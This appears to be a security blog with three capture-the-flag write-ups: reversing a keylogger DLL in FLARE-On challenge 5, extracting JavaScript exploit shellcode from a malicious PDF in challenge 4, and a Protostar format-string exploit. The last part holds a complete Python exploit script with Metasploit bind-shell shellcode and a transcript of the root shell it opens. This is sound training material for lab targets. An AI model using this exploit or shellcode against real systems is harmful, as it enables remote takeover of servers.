Thursday, January 8, 2015

FLARE - Challenge 5


About:


This is the 5th challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

In this challenge, the zip file contains a Windows library file.

To start, I used Hopper to look through the imported functions, thinking that I could find something interesting and work backwards from there.




The first ones I looked through messed with the registry and looked at / touched the files "c:\windows\system32\rundll32.exe" and "c:\windows\system32\svchost.dll".

I didn't find anything too interesting in those sections, so eventually I moved on to the GetAsyncKeyState function and decided to look around where it was used.

Here's the code where GetAsyncKeyState is called: (look within the 0x10009edd block)


You can see that after it returns, the control flow goes through a bunch of if/else conditionals (switch statement?) that keeps going on and on....



...and on and on...

But even though this is messy, the nice thing is that it's pretty now clear what is going on -- it's a keylogger that will call certain functions depending on which key is pressed.

While looking through what gets called within the if statements, the vast majority call sub_10001060, which seems to clear a bunch of global variables (except one, which it sets to 0x1).



Interestingly, though, some of the subroutines that get called in a few of the cases DON'T immediately call the reset/clear subroutine (sub_10001060).

For example, below, sub_10009d80 will skip over the call to sub_10001060 in certain cases, depending on the state of the global variables that sub_10001060 clears:




I took the decompiled version of all the subroutines that don't immediately call the resetting function and put them together here:


int sub_10009440() {
    if (*0x10019460 > 0x0) {
            *0x10019460 = 0x0;
            *0x10019464 = 0x1;
    }
    else {
            if (*0x100194a4 > 0x0) {
                    *0x100194a4 = 0x0;
                    *0x100194a8 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100141e0;
}

int sub_100094d0() {
    if (*0x10019498 > 0x0) {
            *0x10019498 = 0x0;
            *0x1001949c = 0x1;
    }
    else {
            if (*0x100194b0 > 0x0) {
                    *0x100194b0 = 0x0;
                    *0x100194b4 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100141f4;
}

int sub_100097d0() {
    if (*0x100194b4 > 0x0) {
            *0x100194b4 = 0x0;
            *0x100194b8 = 0x1;
    }
    else {
            if (*0x100194c4 > 0x0) {
                    *0x100194c4 = 0x0;
                    *0x100194c8 = 0x1;
            }
            else {
                    if (*0x100194d4 > 0x0) {
                            *0x100194d4 = 0x0;
                            *0x100194d8 = 0x1;
                    }
                    else {
                            sub_10001060();
                    }
            }
    }
    return 0x100142a4;
}

int sub_10009850() {
    if (*0x100194f4 > 0x0) {
            *0x100194f4 = 0x0;
            *0x100194f8 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142ac;
}

int sub_10009880() {
    if (*0x10019478 > 0x0) {
            *0x10019478 = 0x0;
            *0x1001947c = 0x1;
    }
    else {
            if (*0x1001948c > 0x0) {
                    *0x1001948c = 0x0;
                    *0x10019490 = 0x1;
            }
            else {
                    if (*0x100194d0 > 0x0) {
                            *0x100194d0 = 0x0;
                            *0x100194d4 = 0x1;
                    }
                    else {
                            if (*0x100194e8 > 0x0) {
                                    *0x100194e8 = 0x0;
                                    *0x100194ec = 0x1;
                            }
                            else {
                                    sub_10001060();
                            }
                    }
            }
    }
    return 0x100142b0;
}

int sub_10009910() {
    if (*0x100194ac > 0x0) {
            *0x100194ac = 0x0;
            *0x100194b0 = 0x1;
    }
    else {
            if (*0x100194cc > 0x0) {
                    *0x100194cc = 0x0;
                    *0x100194d0 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100142b4;
}

int sub_10009960() {
    if (*0x100194bc > 0x0) {
            *0x100194bc = 0x0;
            *0x100194c0 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142b8;
}

int sub_10009990() {
    if (*0x10019464 > 0x0) {
            *0x10019464 = 0x0;
            *0x10019468 = 0x1;
    }
    else {
            if (*0x10019468 > 0x0) {
                    *0x10019468 = 0x0;
                    *0x1001946c = 0x1;
            }
            else {
                    if (*0x10019474 > 0x0) {
                            *0x10019474 = 0x0;
                            *0x10019478 = 0x1;
                    }
                    else {
                            sub_10001060();
                    }
            }
    }
    return 0x100142bc;
}

int sub_10009a00() {
    if (*0x100194dc > 0x0) {
            *0x100194dc = 0x0;
            *0x100194e0 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142c0;
}

int sub_10009a30() {
    if (*0x1001946c > 0x0) {
            *0x1001946c = 0x0;
            *0x10019470 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142c4;
}

int sub_10009a70() {
    if (*0x100194a8 > 0x0) {
            *0x100194a8 = 0x0;
            *0x100194ac = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142cc;
}

int sub_10009aa0() {
    if (*0x10017000 > 0x0) {
            *0x10017000 = 0x0;
            *0x10019460 = 0x1;
    }
    else {
            if (*0x100194c0 > 0x0) {
                    *0x100194c0 = 0x0;
                    *0x100194c4 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100142d0;
}

int sub_10009b10() {
    if (*0x10019470 > 0x0) {
            *0x10019470 = 0x0;
            *0x10019474 = 0x1;
    }
    else {
            if (*0x100194e4 > 0x0) {
                    *0x100194e4 = 0x0;
                    *0x100194e8 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100142d8;
}

int sub_10009b60() {
    if (*0x1001947c > 0x0) {
            *0x1001947c = 0x0;
            *0x10019480 = 0x1;
    }
    else {
            if (*0x10019490 > 0x0) {
                    *0x10019490 = 0x0;
                    *0x10019494 = 0x1;
            }
            else {
                    if (*0x100194e0 > 0x0) {
                            *0x100194e0 = 0x0;
                            *0x100194e4 = 0x1;
                    }
                    else {
                            if (*0x100194ec > 0x0) {
                                    *0x100194ec = 0x0;
                                    *0x100194f0 = 0x1;
                            }
                            else {
                                    if (*0x100194f8 > 0x0) {
                                            *0x100194f8 = 0x0;
                                            *0x100194fc = 0x1;
                                    }
                                    else {
                                            sub_10001060();
                                    }
                            }
                    }
            }
    }
    return 0x100142dc;
}

int sub_10009c30() {
    if (*0x10019488 > 0x0) {
            *0x10019488 = 0x0;
            *0x1001948c = 0x1;
    }
    else {
            if (*0x100194a0 > 0x0) {
                    *0x100194a0 = 0x0;
                    *0x100194a4 = 0x1;
            }
            else {
                    if (*0x100194c8 > 0x0) {
                            *0x100194c8 = 0x0;
                            *0x100194cc = 0x1;
                    }
                    else {
                            sub_10001060();
                    }
            }
    }
    return 0x100142e8;
}

int sub_10009ca0() {
    if (*0x100194d8 > 0x0) {
            *0x100194d8 = 0x0;
            *0x100194dc = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142ec;
}

int sub_10009cd0() {
    if (*0x10019480 > 0x0) {
            *0x10019480 = 0x0;
            *0x10019484 = 0x1;
    }
    else {
            if (*0x10019494 > 0x0) {
                    *0x10019494 = 0x0;
                    *0x10019498 = 0x1;
            }
            else {
                    if (*0x1001949c > 0x0) {
                            *0x1001949c = 0x0;
                            *0x100194a0 = 0x1;
                    }
                    else {
                            if (*0x100194b8 > 0x0) {
                                    *0x100194b8 = 0x0;
                                    *0x100194bc = 0x1;
                            }
                            else {
                                    if (*0x100194f0 > 0x0) {
                                            *0x100194f0 = 0x0;
                                            *0x100194f4 = 0x1;
                                    }
                                    else {
                                            sub_10001060();
                                    }
                            }
                    }
            }
    }
    return 0x100142f0;
}

int sub_10009d80() {
    if (*0x10019484 > 0x0) {
            *0x10019484 = 0x0;
            *0x10019488 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142f4;
}



You can see that together, they form a chain where the reset call to sub_10001060 can be avoided by calling these subroutines in a specific order.

Putting it all together (knowing that these functions will each get called when a specific key is pressed), I decided to trace back what sequence of keys would walk through the sequence that would avoid the sub_10001060 call.

I started filling out a table, starting with the address that's initialized to start at 1 (0x10017000) and looking for which subroutine expects that memory to be set to 1 (in this case, it was sub_10009aa0)


"1" address           subroutine 

0x10017000          sub_10009aa0() 

After finding the subroutine, I looked for what character was used as a return value -- in this case it was "l".

"1" address           subroutine       (ascii)

0x10017000          sub_10009aa0()        l





So this means the first character the keylogger's looking for is "l"!

After looking to see which memory address was set to 1 in sub_10009aa0 (it sets 0x10019460 to 1), I kept going through this process until I had walked through and made a table like this:

"1" address           subroutine                (ascii)

0x10017000          sub_10009aa0()                 l
0x10019460          sub_10009440()                 0
0x10019464          sub_10009990()                 g   
0x10019468          sub_10009990()                 g
0x1001946c          sub_10009a30()                 i
0x10019470          sub_10009b10()                 n
0x10019474          sub_10009990()                 g
0x10019478          sub_10009880()                 .
0x1001947c          sub_10009b60()                 U
0x10019480          sub_10009cd0()                 r
0x10019484          sub_10009d80()                 .

...etc...

Eventually, these characters spell out an email address--

l0gging.Ur.5tr0ke5@flare-on.com

We're done!


Tuesday, January 6, 2015

FLARE - Challenge 4


About:


This is the 4th challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

In this challenge, the zip file contains a PDF.

After looking around it with Didier Steven's pdf-parser.py (http://blog.didierstevens.com/programs/pdf-tools/), I noticed the 6th object contained JavaScript code that would be used and executed when the PDF was opened. 

I used pdf-parser.py to extract the JavaScript like this:



This led to the following obfuscated JavaScript file:



Doing some basic "find & replace all" in Notepad++ leads to a slightly nicer-looking file:


Hmm, but what does it do?

I took it over to repl.it to run the javascript and take a look at what the unescaped string looks like when printed out:



Hmm... I plugged the following (Japanese?) text into Google Translate, but the translation was only partially successful and missed more words than it got.

After looking through the rest of the PDF file and finding nothing, I realized this must be the exploit code and there might be shellcode somewhere here too.

I took the initial string that gets fed into the unescape() call and put it into the sandsprite.com's Shellcode 2 EXE tool:


This led to an executable!



Running this in Ollydbg led to what was clearly a malicious payload filled with a few XOR loops.

After using breakpoints to skip through the XOR functionality, you can see strings being pushed onto the stack (similar to previous levels).




The strings copied?

"OWNED!!!" and "wa1ch.d3m.spl0its@flare-on.com"



Thursday, January 1, 2015

Protostar - Final #1

About:

This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number. (link)


Source Code:




Solution:

It took me an embarrassingly long time just to find the vulnerable code for this one, but eventually I realized the section that could be exploited is the snprintf call on line 17.

I started out just messing around to try to cause a crash, and the first one I got was this:

root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username %n%n%n%n%n%n%n%n%n
[final1] $ login 
root@protostar:/tmp# 

In theory, the steps to get code execution from this point on should be similar to many of the earlier format string vulnerabilities levels. 

The first step is to find how far up the stack our buffer is. (Eventually, we'll want to put an address at the start of the buffer and use that as the address of our write operation.)

We can see the values that the %x's pop off the stack by looking at what's logged in /var/log/syslog:

shell commands:
root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username aaaaaaaa%x%x%x%x%x%x%x%x%x%x
[final1] $ login a
login failed

syslog:
Nov 26 17:19:23 (none) final1: Login from 127.0.0.1:34596 as [aaaaaaaa8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732] with password [a

It looks like we didn't look far enough up the stack here to reach the initial aaaaa's.

Trying again-

shell commands:
[final1] $ username aaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x 
[final1] $ login a
login failed

syslog:
root@protostar:/tmp# tail /var/log/syslog
Nov 26 17:20:36 (none) final1: Login from 127.0.0.1:34597 as [aaaaaaaa8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732312e302e3534333a61203739615b2073616161612561616125782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578] with password [a]

There it is.

Now let's align them and get ready to put an address in there so we can trigger a targeted write:

root@protostar:/tmp# nc 127.0.0.1 2994
[final1] $ username aXXXX%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[final1] $ login a
login failed

root@protostar:/tmp# tail /var/log/syslog
[aXXXX8049ee4804a2a0804a220bffffbd6b7fd7ff4bffffa2869676f4c7266206e31206d6f302e3732312e302e3634333a61203230615b207358585858] with password [a]

Ok. The plan the rest of the way will be to get the GOT entry for syslog and overwrite the address stored there with one that points to our shellcode.

First, let's get the address for syslog:

root@protostar:/tmp# objdump -R /opt/protostar/bin/final1  | grep "syslog"
0804a11c R_386_JUMP_SLOT   syslog

Ok, now that we have that, let's start putting together a script that we can eventually turn into one that will trigger the exploit.

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2994

SYSLOG_GOT_ENTRY = "\x1c\xa1\x04\x08"

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

shellcode = "x"*len(shellcode)  # temporary to find placement in memory

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

msg = s.recv(1024)
print "resp:", msg

to_send = "username X" + "\x1c\xa1\x04\x08" + "\x1e\xa1\x04\x08" + "aa" + shellcode + "%n%n%n%n%n%n" + "\n"

print "sending", to_send
print "len", len(to_send)
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


The "aa" before the shellcode was put in to help with alignment. You can see from the following memory scan that, with those two additional characters, the x's are nicely aligned and we're ready to substitute in the real shellcode:

(gdb) x/100x $ebp
0xbffffbb8: 0xbffffc58 0x080499ef 0xbffffbd6 0x08049f24
0xbffffbc8: 0x00000002 0xb7fffab0 0x69676f6c 0x0061206e
0xbffffbd8: 0xa11c5800 0xa11e0804 0x61610804 0x78787878
0xbffffbe8: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffbf8: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc08: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc18: 0x78787878 0x78787878 0x78787878 0x78787878
0xbffffc28: 0x78787878 0x78787878 0x36257878 0x36363334
0xbffffc38: 0x35312578 0x31256e24 0x006e2436 0x00000000
0xbffffc48: 0x00000000 0x00000010 0xb7ff1040 0xb7fd7ff4
0xbffffc58: 0xbffffc88 0x08049b04 0x00000004 0x00000000
0xbffffc68: 0x00000000 0xbffffc88 0xb7ec6365 0xb7ff1040
0xbffffc78: 0x00000004 0xb7fd7ff4 0x08049b20 0x00000000
0xbffffc88: 0xbffffd08 0xb7eadc76 0x00000001 0xbffffd34
0xbffffc98: 0xbffffd3c 0xb7fe1848 0xbffffcf0 0xffffffff
0xbffffca8: 0xb7ffeff4 0x08048822 0x00000001 0xbffffcf0
0xbffffcb8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffffcc8: 0x00000000 0x00000000 0xbffffd08 0x82c9541d
0xbffffcd8: 0xa888020d 0x00000000 0x00000000 0x00000000
0xbffffce8: 0x00000001 0x08048df0 0x00000000 0xb7ff6210
0xbffffcf8: 0xb7eadb9b 0xb7ffeff4 0x00000001 0x08048df0
0xbffffd08: 0x00000000 0x08048e11 0x08049ab9 0x00000001
0xbffffd18: 0xbffffd34 0x08049b20 0x08049b10 0xb7ff1040
0xbffffd28: 0xbffffd2c 0xb7fff8f8 0x00000001 0xbffffe5e
0xbffffd38: 0x00000000 0xbffffe78 0xbffffe8d 0xbffffe94

Now we know if we can get 0xbffffbe4 (the start of the green, above) to be written in the GOT entry for syslog, our shellcode should get executed.

After adjusting the %__x parameters to get the correct number of "bytes written" to trigger the writing of 0xbffffbe4, we end up with the following script:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2994

SYSLOG_GOT_ENTRY = "\x1c\xa1\x04\x08"

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

msg = s.recv(1024)
print "resp:", msg

to_send = "username X" + "\x1c\xa1\x04\x08" + "\x1e\xa1\x04\x08" + "aa" + shellcode + "%64364x%15$n" + "%50203x%16$n" + "\n"

print "sending", to_send
print "len", len(to_send)
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg

to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)
print "resp:", msg


to_send = "login a\n"
print "sending", to_send
s.sendall(to_send)

msg = s.recv(1024)

print "resp:", msg

Here, the shellcode was taken from Metasploit and it makes the server bind to port 4444, listen for incoming connections, and give a shell to whatever connects.

After running the Python script, the first thing I noticed was that it doesn't crash (good sign!).

Running netcat to connect to the backdoor port looks like this:

root@protostar:/tmp# nc localhost 4444
ls  (<-- entered by me)
bin
boot
dev
etc
home
initrd.img
lib
live
lost+found
media
mnt
opt
proc
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
whoami  (<-- entered by me)
root